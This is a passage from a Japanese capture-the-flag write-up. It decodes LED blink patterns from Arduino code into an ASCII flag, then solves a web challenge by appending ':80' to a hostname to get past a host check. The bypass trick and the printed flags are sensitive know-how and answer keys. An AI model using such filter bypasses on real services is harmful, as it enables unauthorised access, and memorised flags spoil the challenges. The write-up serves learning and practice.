    prob2();
    prob6();
    prob17();
    prob1();
    prob14();
    prob3();
}

void five(){
    prob1();
    prob5();
    prob2();
    prob7();
    prob14();
    prob17();
    prob1();
    prob10();
    prob3();
}

void six(){
    prob6();
    prob4();
    prob2();
    prob19();
    prob1();
    prob18();
    prob1();
    prob17();
    prob3();
}

void seven(){
    prob8();
    prob7();
    prob9();
    prob2();
    prob1();
    prob13();
    prob2();
    prob4();
    prob3();
}

void eight(){
    prob6();
    prob1();
    prob7();
    prob2();
    prob16();
    prob18();
    prob13();
    prob2();
}

void loop()
{
    one();
    two();
    three();
    four();
    five();
    six();
    seven();
    eight();
    delay(100000);
}

12、10、4番のピンを使い、それぞれをオンオフするような処理になっていました。 回路も見直してみると、必要のないものがたくさんあるようです。

少しシンプルになるように修正しました。

f:id:tsalvia:20191104015918p:plain

loop関数内のone関数以外をコメントアウトして、シミュレーションを開始してみました。

void loop()
{
    one();
    // two();
    // three();
    // four();
    // five();
    // six();
    // seven();
    // eight();
    delay(100000);
}

実行すると、青赤赤青青青赤赤黄となりました。 他の関数も確かめてみると、以下のようになりました。

  1. 青赤赤青青青赤赤黄
  2. 青赤赤赤青青赤青黄
  3. 青青赤赤青青赤赤黄
  4. 青青赤赤青赤青青黄
  5. 青赤赤赤青赤青青黄
  6. 青青赤赤青青青赤黄
  7. 青赤赤赤青赤赤青黄
  8. 青青赤赤青青赤赤

黄色は、最後にしか現れていないので、ターミネータとして扱われているようです。 青を0、赤を1に変換して2進数として考えると、アスキーコードに変換できそうです。

CyberChefで変換してみると、文字列(cr34t1v3)が現れました。

f:id:tsalvia:20191104021339p:plain

よって、フラグは、KorNewbie{cr34t1v3}となります。

FLAG

KorNewbie{cr34t1v3}

Normal_Host(Web)

問題

This is Just a Normal Host! Can you hack?
Author: Y311J(신재욱)
LINK

解答例

問題文のリンクにアクセスすると、以下のページが表示されました。

f:id:tsalvia:20191104022823p:plain

上記のページに書かれている通り、normalflag.iwinv.netと入力して、Connect!をクリックしてみました。 すると、以下のようにエラーが表示されてしまいました。

f:id:tsalvia:20191104022935p:plain

試しにnormalflag.iwinv.net:80と入力してみると、チェック機能を回避できたようです。 以下のようにフラグが表示されました。

f:id:tsalvia:20191104023550p:plain

FLAG

KorNewbie{H0$7_$P1it_A774cK_U$3s_N0RM^liZ47ioN&##$%%!}